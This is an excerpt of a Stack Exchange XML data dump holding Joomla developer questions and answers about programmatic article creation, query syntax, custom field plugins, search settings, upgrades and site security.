screenshot.&#xA;Do you have some advice on how to adjust the layout?&#xA;Thank you very much!&lt;/p&gt;&#xA;" OwnerUserId="16537" LastActivityDate="2024-01-11T14:04:40.550" Title="Unable to install theme with live-preview features" Tags="|joomla-3.x|layout|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32342" PostTypeId="2" ParentId="32341" CreationDate="2022-08-19T10:38:02.373" Score="0" Body="&lt;p&gt;The name of the template implies that it's a one-page template, isn't it?&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Have you checked the sellers website for documentation?&lt;/li&gt;&#xA;&lt;li&gt;Have you contacted the seller for support?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Usually, to make content (articles or other content) available you'll need to:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;created some Articles in Joomla&lt;/li&gt;&#xA;&lt;li&gt;make them available via Menu Items. In this case probably Menu Item Type: Single Article and choose the articles that you have created.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Joomla's &amp;quot;Home&amp;quot; menu item is by default &amp;quot;Featured Articles&amp;quot;. So in this case you'll probably just have to make your Articles &amp;quot;Featured&amp;quot;.&#xA;Documentation: &lt;a href=&quot;https://docs.joomla.org/Managing_the_Featured_Items&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Managing_the_Featured_Items&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13472" LastActivityDate="2022-08-19T10:38:02.373" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32343" PostTypeId="1" AcceptedAnswerId="32344" CreationDate="2022-08-20T07:46:49.307" Score="3" ViewCount="1510" Body="&lt;p&gt;I have tried a few ways to create articles programmatically in Joomla 4, but none of my attempts are working.&lt;/p&gt;&#xA;&lt;p&gt;First is to insert data by mysql using &lt;code&gt;$db-&amp;gt;getQuery(true)&lt;/code&gt; -- the article shows in the database, but not in the admin dashboard.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$insert = $db-&amp;gt;getQuery(true);&#xA;$columns = array('asset_id', 'title', 'alias', 'introtext', 'fulltext', 'state', 'catid', 'created', 'created_by', 'created_by_alias',&#xA;'modified', 'modified_by', 'images', 'urls', 'attribs', 'metadata', 'metadesc', 'language');&#xA;$values = array(0, $db-&amp;gt;quote($title), $db-&amp;gt;quote($alias), $db-&amp;gt;quote($introtext), $db-&amp;gt;quote($fulltext), $db-&amp;gt;quote($state), $db-&amp;gt;quote($catid), $db-&amp;gt;quote(date(&amp;quot;Y-m-d H:i:s&amp;quot;)), $db-&amp;gt;quote($created_by), $db-&amp;gt;quote($created_by_alias),&#xA;$db-&amp;gt;quote($modified), $db-&amp;gt;quote($modified_by), $db-&amp;gt;quote($images), $db-&amp;gt;quote($urls), $db-&amp;gt;quote($attribs), $db-&amp;gt;quote($metadata), $db-&amp;gt;quote(&amp;quot;&amp;quot;), $db-&amp;gt;quote(&amp;quot;*&amp;quot;));&#xA;&#xA;$insert&#xA;    -&amp;gt;insert($db-&amp;gt;quoteName('#__content'))&#xA;    -&amp;gt;columns($db-&amp;gt;quoteName($columns))&#xA;    -&amp;gt;values(implode(',', $values));&#xA;$db-&amp;gt;setQuery($insert);&#xA;$db-&amp;gt;execute();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Second is using JTable, but it says error &lt;code&gt;failed to start application&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$table = JTable::getInstance('Content', 'JTable', array());&#xA;$data = array(&#xA;    'catid' =&amp;gt; 1,&#xA;    'title' =&amp;gt; 'SOME TITLE',&#xA;    'introtext' =&amp;gt; 'SOME TEXT',&#xA;    'fulltext' =&amp;gt; 'SOME TEXT',&#xA;    'state' =&amp;gt; 1,&#xA;);&#xA;if (!$table-&amp;gt;bind($data)){&#xA;    $this-&amp;gt;setError($table-&amp;gt;getError());&#xA;    return false;&#xA;}&#xA;if (!$table-&amp;gt;check()){&#xA;    $this-&amp;gt;setError($table-&amp;gt;getError());&#xA;    return false;&#xA;}&#xA;if (!$table-&amp;gt;store()){&#xA;    $this-&amp;gt;setError($table-&amp;gt;getError());&#xA;    return false;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;How should I create articles programmatically in Joomla 4?&lt;/p&gt;&#xA;" OwnerUserId="16539" LastEditorUserId="12352" LastEditDate="2022-08-20T23:04:44.610" LastActivityDate="2024-02-29T18:34:34.320" Title="Joomla 4 create article programmatically" Tags="|php|articles|mysql|joomla-4.x|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32344" PostTypeId="2" ParentId="32343" CreationDate="2022-08-22T06:29:45.250" Score="6" Body="&lt;p&gt;I rewrote the &amp;quot;&lt;a href=&quot;https://extensions.joomla.org/extension/content-uploader/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Content Uploader&lt;/a&gt;&amp;quot; for Joomla 4 because I couldn't reach the developer. I had exactly the same problem as you described in the first example.&lt;/p&gt;&#xA;&lt;p&gt;The reason is that the Workflow component does not display the article if there is no entry for this article. So you have to make an entry in the table #__workflow_associations, otherwise it won't work.&lt;/p&gt;&#xA;&lt;p&gt;So I added the following code in which I make such an entry:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;// define values&#xA;$ID = $results[0]-&amp;gt;id;&#xA;$stageID = 1;&#xA;$extenstion = &amp;quot;'com_content.article'&amp;quot;;&#xA;&#xA;// makes an entry so that the article is visible in the backend&#xA;$query = $this-&amp;gt;db-&amp;gt;getQuery(true);&#xA;            &#xA;$colums = array('item_id', 'stage_id', 'extension');&#xA;$values = array($ID, $stageID, $extenstion);&#xA;&#xA;$query  &#xA;    -&amp;gt;insert('#__workflow_associations')&#xA;    -&amp;gt;columns($colums)&#xA;    -&amp;gt;values(implode(',', $values));&#xA;&#xA;$this-&amp;gt;db-&amp;gt;setQuery($query);&#xA;$this-&amp;gt;db-&amp;gt;execute();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Here is the link to my &lt;a href=&quot;https://gitlab.com/gratia-mira-opensource/spreadsheet-data-uploader/-/blob/main/source/admin/src/Helper/Tasks.php#L627&quot; rel=&quot;nofollow noreferrer&quot;&gt;original file&lt;/a&gt; on GitLab. And here to the &lt;a href=&quot;https://github.com/joomla/joomla-cms/issues/36421&quot; rel=&quot;nofollow noreferrer&quot;&gt;ticket&lt;/a&gt; that I made on the GitHub account of Joomla.&lt;/p&gt;&#xA;&lt;p&gt;However, it is better to use the &amp;quot;article model&amp;quot; class. Note the example: &lt;a href=&quot;https://joomla.stackexchange.com/a/32345/16394&quot;&gt;https://joomla.stackexchange.com/a/32345/16394&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16394" LastEditorUserId="12352" LastEditDate="2023-01-03T10:11:29.683" LastActivityDate="2023-01-03T10:11:29.683" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32345" PostTypeId="2" ParentId="32343" CreationDate="2022-08-22T07:24:22.127" Score="6" Body="&lt;p&gt;This will work.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$newapp = JFactory::getApplication();&#xA;$mvcFactory = $newapp-&amp;gt;bootComponent('com_content')-&amp;gt;getMVCFactory();&#xA;$articleModel = $mvcFactory-&amp;gt;createModel('Article', 'Administrator', ['ignore_request' =&amp;gt; true]);&#xA;&#xA;$article = [&#xA;    'catid' =&amp;gt; 2,&#xA;    'alias' =&amp;gt; 'tttttttttttttttt44',&#xA;    'title' =&amp;gt; '123My Article Title 44',&#xA;    'introtext' =&amp;gt; 'My Article Intro Text',&#xA;    'fulltext' =&amp;gt; 'My Article Full Text',&#xA;    'state' =&amp;gt; 1,&#xA;    'language' =&amp;gt; '*',&#xA;];&#xA;&#xA;if (!$articleModel-&amp;gt;save($article)){&#xA;    throw new Exception($articleModel-&amp;gt;getError());&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16539" LastEditorUserId="12352" LastEditDate="2022-08-22T22:28:59.723" LastActivityDate="2022-08-22T22:28:59.723" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="32346" PostTypeId="1" AcceptedAnswerId="32347" CreationDate="2022-08-23T23:31:07.103" Score="1" ViewCount="66" Body="&lt;pre&gt;&lt;code&gt;// CODE1 (Mysql (MariaDB 10.8.3) query):&#xA;&#xA;SELECT s.`p_p`, COUNT(REGEXP_SUBSTR(r.`xml`, '[0-9]+'))&#xA; FROM `#__s` AS s, `#__p` AS x, `#__v` AS r&#xA; WHERE REGEXP_SUBSTR(r.`xml`, '[0-9]+') = [user_id] AND s.`user_id` = r.`user` AND x.`id` = s.`p_p`&#xA; GROUP BY REGEXP_SUBSTR(r.`xml`, '[0-9]+'), s.`p_p`&#xA; ORDER BY FIELD(x.`id`, 44, 14, 11, 10, 18, 4)&#xA;&#xA;// Note1: works fine&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;pre&gt;&lt;code&gt;// CODE2 (phpMyAdmin (5.2.0) query convertion to PHP (7.4.30)):&#xA;$query = &amp;quot;SELECT s.`p_p`, COUNT(REGEXP_SUBSTR(r.`xml`, \'[0-9]+\'))&#xA; FROM `#__s` AS s, `#__p` AS x, `#__v` AS r&#xA; WHERE REGEXP_SUBSTR(r.`xml`, \'[0-9]+\') = [user_id] AND s.`user_id` = r.`user` AND x.`id` = s.`p_p`&#xA; GROUP BY REGEXP_SUBSTR(r.`xml`, \'[0-9]+\'), s.`p_p`&#xA; ORDER BY FIELD(x.`id`, 44, 14, 11, 10, 18, 4);&amp;quot;; &#xA; &#xA;// Note2: Having phpMyAdmin to convert CODE1 to php it gives CODE2. Only \ was added and made it not to work. Taking \ out, works just fine as it is exactly the same as CODE1 which also works.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;pre&gt;&lt;code&gt;// CODE3 (PHP (7.4.30) query in Joomla (3.10.11) syntax):&#xA;$query = $db&#xA;    -&amp;gt;getQuery(true)&#xA;    -&amp;gt;select($db-&amp;gt;quoteName('s.p_p'), $db-&amp;gt;quoteName('COUNT(REGEXP_SUBSTR(r.`xml`, \'[0-9]+\'))'))&#xA;    -&amp;gt;from($db-&amp;gt;quoteName('#__s', 's'), $db-&amp;gt;quoteName('#__p', 'x'), $db-&amp;gt;quoteName('#__v', 'r'))&#xA;    -&amp;gt;where($db-&amp;gt;quoteName('(REGEXP_SUBSTR(r.`xml`, \'[0-9]+\'))') .' = [user_id]' AND $db-&amp;gt;quoteName('s.user_id') .' = '. $db-&amp;gt;quoteName('r.user') AND $db-&amp;gt;quoteName('x.id') .' = '. $db-&amp;gt;quoteName('s.p_p'))&#xA;    -&amp;gt;group($db-&amp;gt;quoteName('(REGEXP_SUBSTR(r.`xml`, \'[0-9]+\'))'), $db-&amp;gt;quoteName('s.p_p'));&#xA;    &#xA;// Note3: In an effort to convert CODE1 to Joomla syntax, I can't make it work (even without the \). Using try/catch throws an error in line -&amp;gt;group. I also need to add the ORDER BY FIELD(x.`id`, 44, 14, 11, 10, 18, 4) but I don't know how.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14225" LastActivityDate="2022-08-24T00:07:23.910" Title="Mysqli query with regex to Joomla php syntax" Tags="|php|mysql|phpmyadmin|regex|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32347" PostTypeId="2" ParentId="32346" CreationDate="2022-08-23T23:57:12.780" Score="1" Body="&lt;p&gt;&lt;code&gt;quoteName()&lt;/code&gt; is something that you call when you are quote-wrapping identifiers.  &lt;code&gt;(REGEXP_SUBSTR(r.xml, \'[0-9]+\'))&lt;/code&gt; is not a table name or column name so it makes no sense to try to wrap it in quotes as an identifier.&lt;/p&gt;&#xA;&lt;p&gt;In fact, I don't see any reason to use ANY of those &lt;code&gt;quoteName()&lt;/code&gt; method calls in your script.  It only bloats the syntax, and makes your code harder to &amp;quot;eyeball&amp;quot;.  There isn't any security/stability improvement for calling &lt;code&gt;quoteName()&lt;/code&gt; either.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/a/27909/12352&quot;&gt;&lt;code&gt;JFactory::getApplication()-&amp;gt;enqueueMessage($query-&amp;gt;dump(), 'notice');&lt;/code&gt;&lt;/a&gt; can prove very helpful as a sanity check when queries are failing.&lt;/p&gt;&#xA;&lt;p&gt;Ultimately, I'm saying, remove all of those &lt;code&gt;quoteName()&lt;/code&gt; calls and those manually written backticks, then try your query again.&lt;/p&gt;&#xA;&lt;p&gt;P.S. Since &lt;code&gt;where()&lt;/code&gt;'s default glue is &lt;code&gt;AND&lt;/code&gt;, I'd personally prefer to feed it an array of rules:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;-&amp;gt;where([&#xA;    &amp;quot;REGEXP_SUBSTR(r.xml, '[0-9]+') = [user_id]&amp;quot;,&#xA;    &amp;quot;s.user_id = r.user&amp;quot;,&#xA;    &amp;quot;x.id = s.p_p&amp;quot;&#xA;])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Err, wait.  I don't like old-skool comma joins -- they also trick the developer eye.  I recommend using explicit INNER JOINs with ON clauses for clarity.  This means you will only have one rule in your WHERE clause (so no array is needed).&lt;/p&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2022-08-24T00:07:23.910" LastActivityDate="2022-08-24T00:07:23.910" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="32348" PostTypeId="1" AcceptedAnswerId="32349" CreationDate="2022-08-25T17:31:34.447" Score="1" ViewCount="210" Body="&lt;p&gt;I created a custom field plugin. I need to get an article id in blog category view in plugin layout file: &lt;code&gt;/plugins/fields/my_plugin/tmpl/default.php&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;In my article view, I can get it from &lt;code&gt;$app-&amp;gt;getInput()-&amp;gt;get('id')&lt;/code&gt;, but what's the way in blog category view?&lt;/p&gt;&#xA;&lt;p&gt;In this file, I have a 2 objects: &lt;code&gt;$field&lt;/code&gt; - there is a field object and &lt;code&gt;$fieldParams&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;However, inside the plugin layout file, I do not have an article object.&lt;/p&gt;&#xA;" OwnerUserId="13868" LastEditorUserId="12352" LastEditDate="2022-08-25T22:40:14.910" LastActivityDate="2022-08-26T17:05:42.210" Title="How to get an article id in blog category view inside fields plugin" Tags="|custom-field|joomla-4|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32349" PostTypeId="2" ParentId="32348" CreationDate="2022-08-26T17:05:42.210" Score="3" Body="&lt;p&gt;Field value is rendered during &lt;code&gt;onCustomFieldsPrepareField&lt;/code&gt; event which takes 3 arguments: the context string, content item object and the field object. The content item is the second argument passed to the event. If your plugin extends &lt;code&gt;Joomla\Component\Fields\Administrator\Plugin\FieldsPlugin&lt;/code&gt; class, it should have this function signature:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function onCustomFieldsPrepareField($context, $item, $field)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In that case the content item is &lt;code&gt;$item&lt;/code&gt;. You can access it inside the field layout. Just be aware that custom field plugins are normally designed to work with multiple content types which may not have the same properties as articles. If the logic in your plugin is specific to content articles, you should perform a context check to ensure the logic only runs when articles are concerned:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;if ($context === 'com_content.article')&#xA;{&#xA;    // Your code here&#xA;    $articleId = $item-&amp;gt;id;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2022-08-26T17:05:42.210" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32350" PostTypeId="1" CreationDate="2022-08-26T20:08:58.687" Score="1" ViewCount="66" Body="&lt;p&gt;Joomla 3.10.11&lt;/p&gt;&#xA;&lt;p&gt;I cannot find the settings for this. I have been experimenting with the native search, smart search and an extension for advanced search. We are most happy with the results from smart search but it is missing the articles from a content category we created... we have products, faq, etc all the articles from these categories show up in search results. the articles from the category Producers dont. I suspect this is due to some display setting I didnt add this particular category to, but I cannot find it. I also cannot find where to set the number of article results per list page.&lt;/p&gt;&#xA;&lt;p&gt;I have disabled the regular search  plugin.&#xA;I looked through the menu items, components and plugins and options for smart search.&#xA;I have confirmed my smart search index contains the articles for the category.&#xA;When I enable regular search the category articles appear. they are published etc.&lt;/p&gt;&#xA;&lt;p&gt;I feel like there must be a set of options somewhere I am missing that control both the result numbers and layout (like a normal category blog page) and what categories to search in. What am I missing???&lt;/p&gt;&#xA;" OwnerUserId="16561" LastEditorUserId="16561" LastEditDate="2022-08-29T18:20:12.313" LastActivityDate="2024-01-22T13:01:35.207" Title="Smart Search results missing a category and settings for paginated results" Tags="|joomla-3.x|search|smartsearch|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32351" PostTypeId="1" CreationDate="2022-08-29T16:12:14.230" Score="4" ViewCount="36" Body="&lt;p&gt;I had enabled &amp;quot;two factor authentication&amp;quot; on a site with the Google Authentication Plugin, but discovered that an old administrator was still logging in to the admin.&lt;/p&gt;&#xA;&lt;p&gt;It turns out that if you enable double authentication but don't activate it for a user, then it doesn't prompt that user.&lt;/p&gt;&#xA;&lt;p&gt;That way if someone can hack your site somehow create an admin user or an old user they can log in without using double authentication.&lt;/p&gt;&#xA;&lt;p&gt;My question is: Is there a way that double authentication is required for ALL admin users regardless of whether it has been enabled for each user?&lt;/p&gt;&#xA;" OwnerUserId="371" LastEditorUserId="12352" LastEditDate="2022-08-30T05:00:27.417" LastActivityDate="2022-08-30T05:00:27.417" Title="How to make &quot;Two Factor Authentication&quot; mandatory for all admin users" Tags="|administrator|security|authentication|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32352" PostTypeId="2" ParentId="32350" CreationDate="2022-08-30T09:48:55.227" Score="0" Body="&lt;p&gt;Go to &lt;code&gt;Smart Search &amp;gt; Content Maps&lt;/code&gt; and check if these articles are published.&#xA;You should see a green box beside your category with the number of the pubslihed articles.&lt;/p&gt;&#xA;&lt;p&gt;Make sure that the category is published and it's articles too, under the content maps.&lt;/p&gt;&#xA;" OwnerUserId="3969" LastActivityDate="2022-08-30T09:48:55.227" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32353" PostTypeId="1" AcceptedAnswerId="32355" CreationDate="2022-08-30T14:05:47.893" Score="2" ViewCount="66" Body="&lt;p&gt;I am trying to upgrade my development server from 3.10.11 (which works fine) to 4.x in preparation for Joomla 3.x going out of support in August 23.&lt;/p&gt;&#xA;&lt;p&gt;When I do run the live update, I get an alert box in my browser saying that the server was unable to write the file:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;/var/www/html/api/components/com_banners/src/Controller/BannersController.php&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;This is the first file in alphabetical order that doesn't exist on the server.  So I assume that in some way the apache user (the user that my web server runs as) isn't able to create either a new file or a new directory in that folder.&lt;/p&gt;&#xA;&lt;p&gt;The &lt;code&gt;owner:group&lt;/code&gt; of the folder &lt;code&gt;/var/www/html is apache:apache&lt;/code&gt; and I have tried setting permissions to &lt;code&gt;775&lt;/code&gt;, but I still get the same message.&lt;/p&gt;&#xA;&lt;p&gt;Normally as I am running fedora I would expect selinux to be the culprit of this kind of error but running &lt;code&gt;setenforce 0&lt;/code&gt; doesn't help.&lt;/p&gt;&#xA;&lt;p&gt;I am fairly sure this isn't a Joomla issue so much as that I have misconfigured my server somehow.  That said I can't work out at all what the issue is.&lt;/p&gt;&#xA;" OwnerUserId="14667" LastEditorUserId="12352" LastEditDate="2022-08-30T23:13:43.767" LastActivityDate="2022-08-30T23:13:43.767" Title="Joomla upgrade: 3.10.11 to 4.x" Tags="|joomla-3.x|joomla-4.x|update|migration|apache|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32354" PostTypeId="1" AcceptedAnswerId="32367" CreationDate="2022-08-30T15:30:36.180" Score="2" ViewCount="52" Body="&lt;p&gt;I want to programmatically create some admin menu items for my component and I'm most of the way there, but I can't seem to set the hierarchy for them. I am wanting three menu items - one as the parent menu item which expands to reveal two submenu items beneath it.&lt;/p&gt;&#xA;&lt;p&gt;I am setting all of my values for each menu item in an instance of &lt;code&gt;Joomla\CMS\Table\Menu&lt;/code&gt; ($menu) and then calling &lt;code&gt;$menu-&amp;gt;check()&lt;/code&gt; followed by &lt;code&gt;$menu-&amp;gt;store()&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;For my parent item I am setting &lt;code&gt;parent_id&lt;/code&gt; to 1 and &lt;code&gt;level&lt;/code&gt; to 1. When I use &lt;code&gt;$menu-&amp;gt;store()&lt;/code&gt; to create it, I get the new ID that has been assigned to it and use that as the &lt;code&gt;parent_id&lt;/code&gt; for the 2 sub-menu items. I also set the &lt;code&gt;level&lt;/code&gt; for each of them to 2. Unfortunately the repositioning function that works out the lft and rgt menu items is resetting the parent_id and level values to zero for all three of my menu items, so I'm ending up with them all on the same level.&lt;/p&gt;&#xA;&lt;p&gt;Any idea how I can get my values to persist? Or do I need to rethink how I'm doing this?&lt;/p&gt;&#xA;" OwnerUserId="15973" LastActivityDate="2023-10-26T08:14:05.367" Title="Custom admin menu creation - parent_id and level values are resetting to zero" Tags="|custom-component|joomla-4.x|menu-item|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32355" PostTypeId="2" ParentId="32353" CreationDate="2022-08-30T20:44:13.127" Score="3" Body="&lt;p&gt;The issue turned out to be the extension RSFirewall for Joomla By RSJoomla.&lt;/p&gt;&#xA;&lt;p&gt;To solve the issue I added an 'exception'.&lt;/p&gt;&#xA;&lt;p&gt;I specified that the component named 'Joomla! Update' could bypass all aspects of the firewall.&lt;/p&gt;&#xA;&lt;p&gt;After that I was able to use the live update.&lt;/p&gt;&#xA;" OwnerUserId="14667" LastActivityDate="2022-08-30T20:44:13.127" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32356" PostTypeId="2" ParentId="32282" CreationDate="2022-08-31T06:54:11.203" Score="1" Body="&lt;p&gt;This may vary from form to form but using nested fieldsets appears to currently work in article backend form. It could break at some point though. Use the same top level fieldset name for all plugins and different second level fieldset names.&lt;/p&gt;&#xA;&lt;p&gt;form1.xml:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form&amp;gt;&#xA;    &amp;lt;fieldset name=&amp;quot;top-level-fieldset&amp;quot; label=&amp;quot;Top Level Fieldset&amp;quot;&amp;gt;&#xA;        &amp;lt;fieldset name=&amp;quot;second-level-fieldset-1&amp;quot; label=&amp;quot;Second Level Fieldset 1&amp;quot;&amp;gt;&#xA;            &amp;lt;field name=&amp;quot;field1&amp;quot; type=&amp;quot;text&amp;quot; label=&amp;quot;Field 1&amp;quot; /&amp;gt;&#xA;        &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;form2.xml:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form&amp;gt;&#xA;    &amp;lt;fieldset name=&amp;quot;top-level-fieldset&amp;quot; label=&amp;quot;Top Level Fieldset&amp;quot;&amp;gt;&#xA;        &amp;lt;fieldset name=&amp;quot;second-level-fieldset-2&amp;quot; label=&amp;quot;Second Level Fieldset 2&amp;quot;&amp;gt;&#xA;            &amp;lt;field name=&amp;quot;field2&amp;quot; type=&amp;quot;text&amp;quot; label=&amp;quot;Field 2&amp;quot; /&amp;gt;&#xA;        &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The end result:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/mOALz.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mOALz.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2022-08-31T06:54:11.203" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32357" PostTypeId="1" AcceptedAnswerId="32358" CreationDate="2022-09-01T13:04:56.893" Score="1" ViewCount="29" Body="&lt;p&gt;Shortly after I (finally) managed to upgrade to Joomla 4 my development site was taken down by an attack.  (I dont' know how exactly yet).&lt;/p&gt;&#xA;&lt;p&gt;Is it worth my time to work out how this happened?  How would I report this to the Joomla Team if it wasn't a simple misconfiguration that allowed the attack to take place?&lt;/p&gt;&#xA;" OwnerUserId="14667" LastActivityDate="2022-09-01T14:05:12.120" Title="Joomla 4 Security: Is it worth tracking attacks for the Joomla team?" Tags="|joomla-4.x|security|hack|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32358" PostTypeId="2" ParentId="32357" CreationDate="2022-09-01T14:05:12.120" Score="2" Body="&lt;p&gt;Yes, it's also worth the time for your own benefit:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;was it some server software vulnerability&lt;/li&gt;&#xA;&lt;li&gt;was it a local computer vulnerability that was used to gain access to the (s)FTP credentials of your website&lt;/li&gt;&#xA;&lt;li&gt;was it a 3rd party extension vulnerability&lt;/li&gt;&#xA;&lt;li&gt;or was it an unknown Joomla 4.x vulnerability&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;You can use that info to make sure that this hack does not happen again.&lt;/p&gt;&#xA;&lt;h2&gt;Other things to consider&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Did you obtain all software (Joomla + extension) from reliable sources? If it was a 3rd party vulnerability: please contact the developers so that they can take action regarding their extension&lt;/li&gt;&#xA;&lt;li&gt;Did you consult your hosting company? If it was a server issue then other users on the same shared hosting server might have been compromised too.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2&gt;To investigate the issue&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Create a backup of the hacked site (for later analysis) and store at your local computer&lt;/li&gt;&#xA;&lt;li&gt;Copy the server access and error log files asap to your local computer. Most servers use log rotate and only keep the log files for 7 days or so.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2&gt;Joomla! Security Strike Team&lt;/h2&gt;&#xA;&lt;p&gt;In case you find an unknown &lt;strong&gt;vulnerability in Joomla 4.x&lt;/strong&gt;, please &lt;strong&gt;contact&lt;/strong&gt; the &lt;strong&gt;Joomla! Security Strike Team&lt;/strong&gt; in private so that a security fix can be developed and released: &lt;a href=&quot;https://developer.joomla.org/security.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://developer.joomla.org/security.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13472" LastActivityDate="2022-09-01T14:05:12.120" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32359" PostTypeId="1" CreationDate="2022-09-01T15:57:14.000" Score="0" ViewCount="20" Body="&lt;p&gt;I am new to the Joomla world and I have to face a difficult problem.&#xA;I have to make sure that immediately after logging in to the user, a modal popup with a select box is proposed.&#xA;The content of the select must be dynamically generated after the query of an external web services.&#xA;At the end of the selection, the value chosen by the user must be entered in session.&#xA;I thought about creating a user plugin by raising the onUserAfterLogin event.&#xA;Unfortunately, I have discovered that here it is not possible to add javascript to the page.&#xA;Could you recommend me the best approach to solve this problem?&lt;/p&gt;&#xA;" OwnerUserId="16576" LastActivityDate="2022-09-01T15:57:14.000" Title="modal popup just after login" Tags="|joomla-3.x|plugin|custom-component|plugin-events|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32360" PostTypeId="1" CreationDate="2022-09-01T21:44:15.240" Score="2" ViewCount="100" Body="&lt;p&gt;My development site went down because the server was taking 7 seconds to respond. The load balancer thought it was dead. So gave 503 errors.&lt;/p&gt;&#xA;&lt;p&gt;It makes me wonder if I need a bigger server.&lt;/p&gt;&#xA;&lt;p&gt;What are the recommended/requirements for a joomla 4.x install?&lt;/p&gt;&#xA;" OwnerUserId="14667" LastActivityDate="2024-01-25T12:03:55.470" Title="What are the hardware requirements for Joomla 4.x" Tags="|joomla-4.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
